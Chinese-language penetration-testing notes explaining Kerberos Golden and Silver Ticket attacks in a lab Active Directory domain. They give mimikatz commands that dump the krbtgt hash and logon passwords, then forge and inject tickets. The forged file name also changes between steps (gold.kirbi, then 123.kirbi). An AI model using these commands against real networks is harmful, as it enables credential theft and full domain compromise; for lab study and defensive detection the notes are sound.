PASS-THE-TICKET

KDC(Key Distribution Center)： 密钥分发中心，里面包含两个服务：AS和TGS
AS(Authentication Server)： 身份认证服务
TGS(Ticket Granting Server)： 票据授予服务
TGT(Ticket Granting Ticket): 由身份认证服务授予的票据，用于身份认证，存储在内存，默认有效期为10小时

Golden Ticket伪造TGT(Ticket Granting Ticket)，可以获取任何Kerberos服务权限，
域控中提取krbtgt的hash
域控：dc.zone.com
域内机器：sub2k8.zone.com
域内普通用户：y
域内机器是不能访问dc上的文件

清空票据

域控中获取krbtgt用户的信息
>privilege::debug
>mimikatz log "lsadump::dcsync /domain:zone.com /user:krbtgt"
获取信息：/domain、/sid、/aes256

在sub2k8中生成golden ticket
>mimikatz "kerberos::golden /krbtgt:{ntlmhash} /admin:域管理 /domain:域名 /sid:sid /ticket:gold.kirbi"

导入
Mimikatz#kerberos::ptt 123.kirbi

Silver Ticket是伪造的TGS，只能访问指定服务权限
域控：dc.zone.com
域内机器：sub2k8.zone.com
域内普通用户：y
域控中导出
>privilege::debug
>sekurlsa::logonpasswords

Sub2k8伪造票据
>mimikatz "kerberos::golden /domain:zone.com /sid:{SID} /target:dc.zone.com /service:cifs /rc4:{NTLM} /user:y /ptt"
